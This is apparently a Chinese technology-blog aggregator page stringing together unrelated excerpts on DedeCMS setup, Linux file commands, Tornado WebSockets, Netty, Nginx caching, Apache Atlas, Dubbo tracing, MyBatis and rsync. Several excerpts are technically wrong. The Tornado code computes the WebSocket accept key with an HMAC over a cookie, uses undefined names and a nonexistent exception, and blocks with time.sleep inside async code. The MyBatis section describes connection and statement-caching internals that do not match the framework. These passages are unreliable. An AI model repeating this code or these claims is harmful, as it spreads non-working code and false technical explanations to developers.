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...转载内容。原文链接:https://blog.csdn.net/weixin_31879641/article/details/115616068。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 织梦dedecms是集简单、健壮、灵活、开源几大特点的开源内容管理系统,是国内开源CMS的领先品牌,目前程序安装量已达七十万,超过六成的站点正在使用织梦CMS或基于织梦CMS核心开发。 织梦Dede CMS功能特点: 良好的用户口碑,丰富的开源经验 灵活的模块组合,让网站更丰富 简单易用的模板引擎,网站界面想换就换 便捷自定义模型 高效的动态静态页面部署 流畅专业界面设计,良好的用户体验 指纹验证,升级无忧 低维护成本 国际语言支持 会员互动,让您的网站火起来 DedeCMS 产品使用说明 一、平台需求 1.Windows 平台: IIS/Apache/Nginx + PHP4/PHP5.2+/PHP5.3+ + MySQL4/5 如果在windows环境中使用,建议用DedeCMS提供的DedeAMPZ套件以达到最佳使用性能。 2.Linux/Unix 平台 Apache + PHP4/PHP5 + MySQL3/4/5 (PHP必须在非安全模式下运行) 建议使用平台:Linux + Apache2.2 + PHP5.2/PHP5.3 + MySQL5.0 3.PHP必须环境或启用的系统函数: allow_url_fopen GD扩展库 MySQL扩展库 系统函数 —— phpinfo、dir 4.基本目录结构 / ..../install 安装程序目录,安装完后可删除[安装时必须有可写入权限] ..../dede 默认后台管理目录(可任意改名) ..../include 类库文件目录 ..../plus 附助程序目录 ..../member 会员目录 ..../images 系统默认模板图片存放目录 ..../uploads 默认上传目录[必须可写入] ..../a 默认HTML文件存放目录[必须可写入] ..../templets 系统默认内核模板目录 ..../data 系统缓存或其它可写入数据存放目录[必须可写入] ..../special 专题目录[生成一次专题后可以删除special/index.php,必须可写入] 5.PHP环境容易碰到的不兼容性问题 (1)data目录没写入权限,导致系统session无法使用,这将导致无法登录管理后台(直接表现为验证码不能正常显示); (2)php的上传的临时文件夹没设置好或没写入权限,这会导致文件上传的功能无法使用; (3)出现莫名的错误,如安装时显示空白,这样能是由于系统没装载mysql扩展导致的,对于初级用户,可以下载dede的php套件包,以方便简单的使用。 二、程序安装使用 1.下载程序解压到本地目录; 2.上传程序目录中的/uploads到网站根目录 3.运行http://www.yourname.com/install/index.php(yourname表示你的域名),按照安装提速说明进行程序安装 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_31879641/article/details/115616068。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-09-24 09:08:23
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Sqoop
...置过高时,若目标目录下文件过多且并发写入,NameNode可能面临较大压力,因为其需要频繁处理各个DataNode上传的元数据更新请求,这可能导致集群整体性能下降。
2023-06-03 23:04:14
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半夏微凉
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...转载内容。原文链接:https://blog.csdn.net/Zenian_dada/article/details/88669234。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 2.1.1 Linux 目录及文件的基本操作 一、pwd命令 Linux中用pwd命令来查看当前工作目录的完整路径。 在不确定当前位置时,就会用pwd来判定当前目录在文件系统内的确切位置 命令格式:pwd 【选项】 常用参数 :-P pwd -P 显示出实际路径。而非使用连接(link)路径 注意:选项-P 是大写的P,不要搞错。 使用pwd 显示了当前的路径 实例2. 使用pwd -P显示了返回连接的真实路径 二、cd命令 1.命令格式: cd【目录名】 2.命令功能: cd的命令作用是切换当前工作目录 参数以实例表示 实例1 切换工作目录到/opt/soft 实例2 切换工作目录至当前目录的上一级目录 实例3 返回前一个目录,至/opt/soft目录 实例4 切换工作目录到当前用户的家目录 三、ls命令 ls命令的含义是list显示目录与文件的信息。注意不加参数它显示除隐藏文件外的所有文件及目录的名字。 ls的格式 ls【选项】…【文件/目录】… 下面是常用的ls命令的应用 实例1 ls -l 以格式显示文件 这里显示的文件属性第一个字符‘-‘表示这是一个普通文件,第二个字段表示权限,第三个字段表示链接数,第四个字段表示所有者,第五个字段表示所属组,第六个字段表示文件大小,第七个字段表示时间,第八个地段表示文件名。 实例2 ls -a 查看包含以 . 开始的隐藏文件与目录信息 显示隐藏文件 实例3 ls-lh 以易读的格式显示文件的大小 以人性化更清晰的显示文件 实例4 ls– i 显示文件或目录的inode(i节点)编号 i节点可以看作是一个指向磁盘上该文件存储区的地址 四、touch 命令 touch命令可创建一个文件或者更改文件时间 实例1 touch a.txt 创建一个a.txt文件 一开始使用ls命令查看当前目录显示没有文件,然后使用touch命令创建了一个a.txt文件 实例2更改a.txt的时间 可以看到文件名没有改变,只有时间改变了 五、mkdir命令 mkdir命令可以创建一个目录 命令格式: mkdir 【选项】【文件名】 命令选项参数: -p : 递归创建目录 -v : 创建新目录显示信息 实例1 mkdir abc 创建一个空目录 实例2 mkdir -p test/test1 递归创建多个目录 实例3 mkdir-v hao 创建新目录显示信息 六、cp 命令 cp命令用来对一个或多个文件,目录进行拷贝 命令格式: cp【选项】【参数】 命令选项 -r 递归的复制子文件或子目录 -a 复制时保留源文档的所有属性(包括权限、时间等) 实例1 cp -a a.txt test 复制a.txt的所有属性复制到test 实例2 cp -r text /opt 复制text下的所有子文件到opt下 七、rm 命令 rm命令可以删除不需要的文件或者目录 命令格式 rm 【选项】【文件】 选项:-i 删除前,提示是否删除 -f 不提示,强制删除-r 递归删除,删除目录以及目录下的所有内容 实例1 rm -i a.txt删除a.txt 并显示提示 实例2 rm -f text 强制删除text 实例3 rm -r test 递归删除test下所有子文件 实例4 rm -rf hao 递归强制删除文件 八、mv命令 mv命令用来移动或者重命名文件或目录 实例1 mv a.txt b.txt 将a.txt改名为b.txt 实例2 mv b.txt /opt 将b.txt 移动到opt下 九、 find 命令 find命令用来搜索文件或目录 命令格式: find 【命令选项】【路径】【表达式选项】 命令选项: -empty 查找空白文件或目录 -group 按组查找 -name 按文档名称查找 -iname 按文档名称查找,且不区分大小写 -mtime 按修改时间查找 -size 按容量大小查找 -type 按文档类型查找,文件(f),目录(d),设备(b,c),链接(l)等 -user 按用户查找 -exec 对找到的档案执行特定的命令 -a 并且 -o 或者 查找当前目录下所有的普通文件 find ./ -type f 查找大于1mb的文件后列出文件的详细信息‘ find ./ -size +1M -exec ls – l {} ; 查找计算机中所有大于1mb的文件 find / -size +1M -a -type f 查找当前目录下名为hello.doc 的文档 find -name hello.doc 查找/root目录下所有名称以.log 结尾的文档 十、du命令 用来计算文件或目录的容量大小 命令格式: du 【选项】 【文件或目录】 命令选项: -h 人性化显示容量信息 -a 查看所有目录以及文件的容量信息 -s 仅显示总容量 实例1 du -h /opt 实例2 du -a /opt 实例3 du -s /opt 2.1.2查看文件内容 一、 cat 命令 cat命令用来查看文件内容 命令格式: cat 【选项】 【文件】 选项命令 -b 显示行号,空白行不显示行号 -n 显示行号,包含空白行 实例1. cat /opt/test 查看test里面的内容 实例2.cat -n /opt/test 显示行号 二、more命令和less命令 more命令可以分页查看文件内容,通过空格键查看下一页,q键则退出查看。 less命令也可以分页查看文件内容,空格是下一页,方向键可以上下翻页,q键退出查看 命令格式: more 【文件名】 用来查看指定文件 more -num 【文件名】 可以指定显示行数 less 【文件名】 查看指定文件 三、head 命令 head 命令可以查看文件头部内容,默认显示前10行 命令格式 head -6 【文件名】 显示的是文件前6行 head -n -6 【文件名】 显示除了最后6行最后的行 head -c 10 【文件名】显示前十个字节的数据 四、tail 命令 tail命令用来查看文件尾部内容,默认显示后10行 命令格式: tail -6 【文件名】 显示最后6行 tail -f 【文件名】即时显示文件中新写入的行 五、wc 命令 wc命令用来显示文件的行、单词与字节统计信息 命令格式: wc 【选项】【文件】 选项: -c 显示文件字节统计信息 -l 显示文件行数统计信息 -w 显示文件单词统计信息 实例1 依次显示文件的行数,单词数,字节数 实例2 使用-c选项显示文件的字节信息 实例3 使用-l 选项显示文件行数 实例4 使用-w选项显示文件单词个数 六、grep命令 grep命令用来查找关键字并打印匹配的值 命令格式: grep【选项】 匹配模式【文件】 选项: -i 查找时忽略大小写 -v 取反匹配 -w 匹配单词 –color 显示颜色 实例1 在test文件中过滤出包含a的行 实例2 过滤不包含a关键词的行 七、echo 命令 echo命令用来输出显示一行指定的字符串 实例1 显示一行普通的字符串 实例2 显示转义字符使用-e选项 本篇文章为转载内容。原文链接:https://blog.csdn.net/Zenian_dada/article/details/88669234。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-06-16 19:29:49
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Tornado
...下四个阶段: 1. HTTP Upgrade Request: 客户端通过发送一个包含Upgrade头信息的HTTP请求,表示希望从普通的HTTP连接升级到WebSocket连接。 python Tornado Example: class MyHandler(tornado.web.RequestHandler): async def get(self): self.set_header("Upgrade", "websocket") self.set_header("Connection", "upgrade") self.set_header("Sec-WebSocket-Version", 13) self.set_header("Sec-WebSocket-Key", generate_key()) await self.write(""" """) def generate_key(): return base64.b64encode(os.urandom(16)).decode() 2. Server Handshake Response: 服务器收到请求后,会返回一个包含Upgrade、Connection、Sec-WebSocket-Accept头的HTTP响应,以及客户端提供的Sec-WebSocket-Key值所计算出来的Sec-WebSocket-Accept值。 python class MyWebSocket(tornado.websocket.WebSocketHandler): async def open(self, args, kwargs): key = self.get_secure_cookie("websocket_key") accept = base64.b64encode(hmac.new(key.encode(), environ["Sec-WebSocket-Key"].encode(), hashlib.sha1).digest()).decode() self.write_message(f"Sec-WebSocket-Accept: {accept}") 3. Client Acceptance: 客户端收到Server Handshake Response后,验证Sec-WebSocket-Accept头,并继续向服务器发送一个确认消息。 4. Persistent Connection: 握手成功后,双方可以开始进行WebSocket数据传输。 如果任一阶段出现错误(如错误的HTTP状态码、无法获取正确的Sec-WebSocket-Accept),握手就会失败,导致连接未能建立。 三、处理WebSocket握手失败的方法 面对WebSocket握手失败的问题,我们可以采用以下几种方法来确保应用程序能够优雅地处理并恢复: 1. 错误检查与重试机制 - 在MyWebSocket类的open()方法中,我们可以通过检查HTTP响应的状态码和自定义的错误条件,捕获握手失败异常: python try: await super().open(args, kwargs) except tornado.websocket.WebSocketHandshakeError as e: if e.status_code == 400 or "Invalid upgrade header" in str(e): print("WebSocket handshake failed due to an invalid request.") self.close() - 如果出现握手失败,可设置一个重试逻辑,例如延迟一段时间后再次尝试连接: python import time MAX_RETRIES = 3 RETRY_DELAY_SECONDS = 5 retry_count = 0 while retry_count < MAX_RETRIES: try: await super().open(args, kwargs) break except WebSocketHandshakeError as e: print(f"WebSocket handshake failed ({e}), retrying in {RETRY_DELAY_SECONDS} seconds...") time.sleep(RETRY_DELAY_SECONDS) retry_count += 1 else: print("Maximum retries exceeded; connection failure.") break 2. 监控与日志记录 - 可以利用Tornado的日志功能,详细记录握手过程中发生的错误及其原因,便于后续排查与优化: python logging.basicConfig(level=logging.INFO) logger = logging.getLogger(__name__) async def open(self, args, kwargs): try: await super().open(args, kwargs) except WebSocketHandshakeError as e: logger.error("WebSocket handshake failed:", exc_info=True) self.close() 3. 通知客户端错误信息 - 当服务器检测到握手失败时,应告知客户端具体问题以便其采取相应措施: python try: await super().open(args, kwargs) except WebSocketHandshakeError as e: message = f"WebSocket handshake failed: {str(e)}" self.write_message(message) self.close() 四、总结 WebSocket握手失败对于实时应用而言是一个重大挑战,但通过以上针对错误检查、重试机制、日志监控及客户端反馈等方面的处理策略,我们可以确保Tornado WebSocket服务具备高度健壮性和容错能力。当碰上WebSocket握手不成功这类状况时,别忘了结合实际的业务环境,活学活用这些小技巧。这样一来,咱的WebSocket服务肯定能变得更扎实、更靠谱,妥妥地提升稳定性。
2024-02-03 10:48:42
133
清风徐来-t
Netty
...展和逐渐普及,其作为HTTP/3的核心传输层协议,因其拥有的快速连接恢复特性,能够在网络中断时迅速重新建立连接,大大降低了丢包率和延迟时间,从而增强了服务端在网络不稳定情况下的健壮性。 同时,业界对于高可用性和容错性的追求也推动了更先进网络故障检测与恢复机制的研究。例如,一些云服务商如AWS在其Elastic Load Balancing (ELB) 和Application Load Balancer (ALB) 中引入了智能重试策略以及主动健康检查机制,这些技术思路同样可以启发我们在使用Netty搭建系统时如何优化网络中断处理逻辑。 此外,在实际应用中,结合监控告警、日志分析等手段,能实时发现并定位网络故障,进而触发自动化的故障转移或自愈流程,也是提升系统稳定性和用户体验的重要一环。开发者可以通过学习Kubernetes等容器编排工具中的网络策略以及服务发现机制,将这些理念融入到基于Netty构建的服务架构设计之中,以应对更为复杂的网络环境挑战。 综上所述,理解并有效处理Netty服务器的网络中断问题只是实现高可靠网络服务的第一步,关注前沿网络协议和技术趋势,结合实际业务场景进行技术创新和实践,才能在瞬息万变的互联网环境下持续提供优质的网络服务。
2023-02-27 09:57:28
137
梦幻星空-t
Nginx
...nx作为一个高性能的HTTP服务器和反向代理服务器,它也提供了强大的缓存机制。通过缓存,我们可以显著提高网站的响应速度,减轻后端服务器的压力。但是,缓存也不是万能的。对了,有时候咱们可不能光顾着用缓存,还得先看看情况再决定是不是真的要用它,而不是一股脑儿地直接掏出缓存里的东西就完事了。这就是Nginx的proxy_cache_bypass指令出场的时候了。 想象一下,你正在吃一份昨天剩下的披萨,突然发现里面放了你讨厌的洋葱。哎,遇到这种情况你咋整?是硬着头皮吃完呢,还是直接倒掉重新来一份?说到这个,Nginx里的proxy_cache_bypass就有点像你嘴里的味蕾,专门负责挑三拣四——它会根据一些特定条件,决定到底是直接找后端服务器要新鲜数据,还是老老实实从缓存里拿现成的。 2. proxy_cache_bypass的基本概念 首先,让我们来搞清楚什么是proxy_cache_bypass。简单说啊,这个指令用来用来决定Nginx到底要不要走缓存,还是直接甩给后端服务器去处理。有点像你在点餐时是先看看菜单上的现成选项呢,还是直接跟厨师说“来点新鲜的”!你可以把它理解成一个开关,这个开关要么连着个变量,要么是一堆条件。只要这些条件一达成,Nginx就说:“好嘞,不走缓存了,咱们直接来!” 举个例子,假设你有一个电商网站,用户可以根据自己的偏好来筛选商品。要是用户点了个“只看最新商品”的选项,那这个请求就别用缓存了啊。为啥呢?因为它要的是刚出炉的数据,可不是什么昨天的老黄历!这时候,你就可以使用proxy_cache_bypass来告诉Nginx,这个请求不应该被缓存。 nginx location /products { proxy_cache my_cache; proxy_cache_bypass $http_x_update; proxy_pass http://backend_server; } 在这个配置中,$http_x_update是一个自定义的HTTP头,当你在请求头中添加这个头时,Nginx就会绕过缓存,直接向后端服务器发送请求。 3. 深入探讨proxy_cache_bypass的工作原理 现在,让我们更深入地探讨一下proxy_cache_bypass是如何工作的。哈哈,这玩意儿可机灵了!就像个老练的管家,能根据具体情况 deciding(做决定)要不要用缓存,该出手时就出手,不该用的时候绝不浪费资源~ 首先,Nginx会检查proxy_cache_bypass指令中指定的条件。如果条件成立,Nginx会跳过缓存,直接向后端服务器发送请求。如果条件不成立,Nginx则会尝试从缓存中获取响应。 举个例子,假设你正在开发一个新闻网站,用户可以选择查看“热门新闻”或者“最新新闻”。对于“最新新闻”,你可能希望每次请求都获取最新的数据,而不是使用缓存。你可以这样配置: nginx location /latest_news { proxy_cache my_cache; proxy_cache_bypass $arg_force_update; proxy_pass http://news_backend; } 在这个例子中,$arg_force_update是一个查询参数,当你在URL中添加?force_update=1时,Nginx就会绕过缓存。 4. 实际应用中的proxy_cache_bypass 好了,现在我们已经了解了proxy_cache_bypass的基本概念和工作原理,接下来让我们看看它在实际应用中的具体例子。 假设你正在运营一个在线教育平台,学生可以在平台上观看课程视频。为了提高用户体验,你决定为每个学生提供个性化的推荐视频。这种时候,你大概更想每次都拿到最新鲜的推荐列表,而不是老是翻那堆缓存里的东西吧? nginx location /recommendations { proxy_cache my_cache; proxy_cache_bypass $http_x_user_id; proxy_pass http://video_server; } 在这个配置中,$http_x_user_id是一个自定义的HTTP头,当你在请求头中添加这个头时,Nginx就会绕过缓存。 5. 总结与展望 总之,proxy_cache_bypass是Nginx缓存机制中一个非常有用的工具,它允许我们在特定条件下绕过缓存,直接向后端服务器发送请求。用好了这个指令啊,就好比给网站的缓存装了个聪明的小管家,让它该存啥不该存啥都安排得明明白白的。这样不仅能加快网页加载速度,还能让用户打开网站的时候感觉特别顺畅,那体验感直接拉满! 未来,随着互联网技术的不断发展,我相信proxy_cache_bypass会有更多的应用场景。说不定哪天啊,它就更聪明了,自己能分得清哪些请求得绕开缓存走,哪些直接就能用缓存搞定。不管咋说呢,咱们都得对新玩意儿保持那份好奇,老想着学点新鲜的,让自己一直进步才行啊! 最后,我想说的是,Nginx不仅仅是一个工具,它更像是一个伙伴,陪伴着我们一起成长。希望这篇文章能对你有所帮助,如果有任何问题或者想法,欢迎随时交流!
2025-04-18 16:26:46
98
春暖花开
Apache Atlas
...无闻的通信协议(比如HTTP啊、RESTful API之类的)或者更基础的网络编程工具包在背后自动处理的,不是我们直接能写的。 但是,我可以帮助你构建一篇以“在面对网络不稳定时,Apache Atlas使用者如何优化系统设计和使用策略”为主题的文章,虽然不包含具体的Apache Atlas客户端连接代码,但会尽量满足你的其他要求。 1. 引言 在大数据时代,Apache Atlas作为一款强大的元数据管理系统,在企业级数据湖架构中扮演着至关重要的角色。不过,在实际动手部署和运维的过程中,我们免不了会碰到这样那样的小插曲,就比如说客户端和服务器之间的网络连接时好时坏,甚至有时候还会突然玩个“消失”。这不仅可能导致数据同步延迟,还可能引发一系列的数据一致性问题。在这篇文章里,咱们要实实在在地掰扯一下,在这个特定场景下,咱们该如何正确理解和有效应对,并且在使用Apache Atlas时,有哪些妙招能用上,让整个系统的健壮性和稳定性噌噌噌往上涨。 2. Apache Atlas的服务端与客户端通信机制 Apache Atlas主要通过RESTful API进行服务端与客户端的通信,这意味着任何与Atlas服务器的交互都将以HTTP请求的形式发生。当网络出现波动时,这些请求可能会超时、重试甚至失败。例如,当你尝试执行以下Atlas客户端调用操作(尽管这不是真正的代码,但在真实环境中,它会表现为一个HTTP请求): python 假设的Atlas客户端API调用示例(非真实代码) from atlas_client import AtlasClient client = AtlasClient(base_url="http://atlas-server:21000") entity_result = client.get_entity(guid='your-entity-guid') 3. 应对网络不稳定 策略与实践 (a) 重试机制 在面对网络不稳定时,首要的策略就是实施合理的重试机制。对于HTTP客户端库(如Python的requests库),我们可以设定自动重试策略: python import requests from requests.adapters import HTTPAdapter from urllib3.util.retry import Retry session = requests.Session() retries = Retry(total=5, backoff_factor=0.1, status_forcelist=[ 500, 502, 503, 504 ]) session.mount('http://', HTTPAdapter(max_retries=retries)) session.mount('https://', HTTPAdapter(max_retries=retries)) response = session.get('http://atlas-server:21000/api/atlas/v2/entity/guid/your-entity-guid') 这段伪代码展示了如何配置一个具有重试机制的HTTP客户端,以便在网络状况不佳时仍能尽力获取所需数据。 (b) 缓存策略 在短暂的网络中断期间,可以利用本地缓存存储近期获取的元数据信息,以此降低对实时连接的依赖。一旦网络恢复,再进行必要的数据同步更新。 (c) 心跳检测与故障转移 针对集群环境,可以通过定期心跳检测判断与Atlas服务器的连接状态,及时切换至备份服务器,确保服务的连续性。 4. 结论与思考 面对Apache Atlas客户端与服务器间网络连接不稳定或中断的情况,我们需要从系统设计层面出发,采用合适的容错策略和技术手段提高系统的鲁棒性。同时呢,咱们得摸清楚底层通信机制那些个特性,再结合实际的使用场景,不断打磨、优化咱们的解决方案。这样一来,才能真正让基于Apache Atlas搭建的大数据平台坚如磐石,稳定运行起来。 以上讨论并未给出Apache Atlas本身的代码实现,而是围绕其使用场景和策略给出了建议。实际上,每个项目都有其独特性,具体策略需要根据实际情况灵活调整和实施。
2024-01-10 17:08:06
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冬日暖阳
Dubbo
...成的复杂系统时,每个请求都像是个大冒险,得穿梭在好几个服务之间打交道。在这种情况下,要准确地定位问题所在变得极其困难。而分布式追踪系统就像一双眼睛,能够帮助我们清晰地看到每一次请求的完整路径,包括它经过了哪些服务、耗时多少、是否有错误发生等关键信息。这对于提升系统性能、快速定位故障以及优化用户体验都至关重要。 2. Dubbo集成分布式追踪系统的初步探索 Dubbo本身并不直接支持分布式追踪功能,但可以通过集成第三方工具来实现这一目标。比如说Zipkin吧,这是Twitter推出的一个开源工具,专门用来追踪应用程序在分布式环境中的各种请求路径和数据流动情况。用它就像是给你的系统搭建了一个超级详细的导航地图,让你能一眼看清楚每个请求走过了哪些地方。接下来,我们将通过几个步骤来演示如何在Dubbo项目中集成Zipkin。 2.1 添加依赖 首先,我们需要向项目的pom.xml文件中添加Zipkin客户端的依赖。这步超级重要,因为得靠它让我们的Dubbo服务乖乖地把追踪信息发给Zipkin服务器,不然出了问题我们可找不到北啊。 xml io.zipkin.java zipkin-reporter-brave 2.7.5 2.2 配置Dubbo服务端 然后,在Dubbo服务端配置文件(如application.properties)中加入必要的配置项,让其知道如何连接到Zipkin服务器。 properties dubbo.application.qos-enable=false dubbo.registry.address=multicast://224.5.6.7:1234 指定Zipkin服务器地址 spring.zipkin.base-url=http://localhost:9411/ 使用Brave作为追踪库 brave.sampler.probability=1.0 这里,spring.zipkin.base-url指定了Zipkin服务器的URL,而brave.sampler.probability=1.0则表示所有请求都会被追踪。 2.3 编写服务接口与实现 假设我们有一个简单的服务接口,用于处理用户订单: java public interface OrderService { String placeOrder(String userId); } 服务实现类如下: java @Service("orderService") public class OrderServiceImpl implements OrderService { @Override public String placeOrder(String userId) { // 模拟业务逻辑 System.out.println("Order placed for user: " + userId); return "Your order has been successfully placed!"; } } 2.4 启动服务并测试 完成上述配置后,启动Dubbo服务端。你可以试试调用placeOrder这个方法,然后看看在Zipkin的界面上有没有出现相应的追踪记录。 3. 深入探讨 从Dubbo到Jaeger的转变 虽然Zipkin是一个优秀的解决方案,但在某些场景下,你可能会发现它无法满足你的需求。例如,如果你需要更高级别的数据采样策略或是对追踪数据有更高的控制权。这时,Jaeger就成为一个不错的选择。Jaeger是Uber开源的分布式追踪系统,它提供了更多的定制选项和更好的性能表现。 将Dubbo与Jaeger集成的过程与Zipkin类似,主要区别在于依赖库的选择和一些配置细节。这里就不详细展开,但你可以按照类似的思路去尝试。 4. 结语 持续优化与未来展望 集成分布式追踪系统无疑为我们的Dubbo服务增添了一双“慧眼”,使我们能够在复杂多变的分布式环境中更加从容不迫。然而,这只是一个开始。随着技术日新月异,咱们得不停地充电,学些新工具新技能,才能跟上这变化的脚步嘛。别忘了时不时地检查和调整你的追踪方法,确保它们跟得上你生意的发展步伐。 希望这篇文章能为你提供一些有价值的启示,让你在Dubbo与分布式追踪系统的世界里游刃有余。记住,每一次挑战都是成长的机会,勇敢地迎接它们吧!
2024-11-16 16:11:57
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山涧溪流
MyBatis
...下图所示:  当我们在应用程序中创建一个 SqlSessionFactory 对象时,它会自动打开一个数据库连接,并将其保存在内存中。这样,每次我们想要创建一个 SqlSession 对象时,就像去 SqlSessionFactory 那儿说“嗨,给我开个数据库连接”,然后它就会从内存这个大口袋里掏出一个已经为我们预先打开的数据库连接。这种方式能够显著缩短创建和释放数据库连接所需的时间,让咱们的应用程序跑得更溜、更快。 二、MyBatis 如何处理数据库连接的打开与关闭 在 MyBatis 中,我们可以使用两种方式来处理数据库连接的打开与关闭。一种是手动管理,另一种是自动管理。 1. 手动管理 手动管理是指我们在应用程序中直接控制数据库连接的打开与关闭。这是最原始的方式,也是最直观的方式。我们可以通过 JDBC API 来实现数据库连接的打开与关闭。比如,我们可以想象一下这样操作:先用 DriverManager.getConnection() 这个神奇的小功能打开通往数据库的大门,然后呢,当我们不需要再跟数据库“交流”的时候,就用 Statement.close() 或 PreparedStatement.close() 这两个小工具把门关上,这样一来,我们就完成了数据库连接的开启和关闭啦。这种方式的好处就是超级灵活,就像你定制专属T恤一样,我们可以根据应用程序的独特需求,随心所欲地调整数据库连接的表现,让它更听话、更好使。缺点是工作量大,容易出错,而且无法充分利用数据库连接池的优势。 2. 自动管理 自动管理是指 MyBatis 在内部自动管理数据库连接的打开与关闭。这种方式的优点是可以避免手动管理数据库连接的繁琐工作,提高应用程序的性能。不过呢,这种方式有个小缺憾,就是不够灵活,咱们没法随心所欲地掌控数据库连接的具体表现。另外,想象一下这个场景哈,如果我们开发的小程序里,好几个线程兄弟同时挤进去访问数据库的话,就很可能碰上并发问题这个小麻烦。 三、MyBatis 的自动管理机制 为了实现自动管理,MyBatis 提供了一个名为“StatementExecutor”的类,它负责处理 SQL 查询请求。StatementExecutor 使用一个名为“PreparedStatementCache”的缓存来存储预编译的 SQL 查询语句。每当一个新的 SQL 查询请求到来时,StatementExecutor 就会在 PreparedStatementCache 中查找是否有一个匹配的预编译的 SQL 查询语句。如果有,就直接使用这个预编译的 SQL 查询语句来执行查询请求;如果没有,就先使用 JDBC API 来编译 SQL 查询语句,然后再执行查询请求。在这个过程中,StatementExecutor 将会自动打开和关闭数据库连接。当StatementExecutor辛辛苦苦执行完一个SQL查询请求后,它会像个聪明的小助手那样,主动判断一下是否有必要把这个SQL查询语句存放到PreparedStatementCache这个小仓库里。当SQL查询语句被执行的次数蹭蹭蹭地超过了某个限定值时,StatementExecutor这个小机灵鬼就会把SQL查询语句悄悄塞进PreparedStatementCache这个“备忘录”里头,这样一来,下次再遇到同样的查询需求,咱们就可以直接从“备忘录”里拿出来用,省时又省力。 四、总结 总的来说,MyBatis 是一个强大的持久层框架,它可以方便地管理数据库连接,提高应用程序的性能。然而,在使用 MyBatis 时,我们也需要注意一些问题。首先,我们应该合理使用数据库连接,避免长时间占用数据库连接。其次,我强烈建议大家伙尽可能多用 PreparedStatement 类型的 SQL 查询语句,为啥呢?因为它比 Statement 那种类型的 SQL 查询语句可安全多了。就像是给你的查询语句戴上了防护口罩,能有效防止SQL注入这类安全隐患,让数据处理更稳当、更保险。最后,我强烈推荐你们在处理预编译的 SQL 查询语句时,用上 PreparedStatementCache 这种缓存技术。为啥呢?因为它能超级有效地提升咱应用程序的运行速度和性能,让整个系统更加流畅、响应更快,就像给程序装上了涡轮增压器一样。
2023-01-11 12:49:37
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冬日暖阳_t
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rsync -avz source destination
- 在本地或远程之间同步文件夹。
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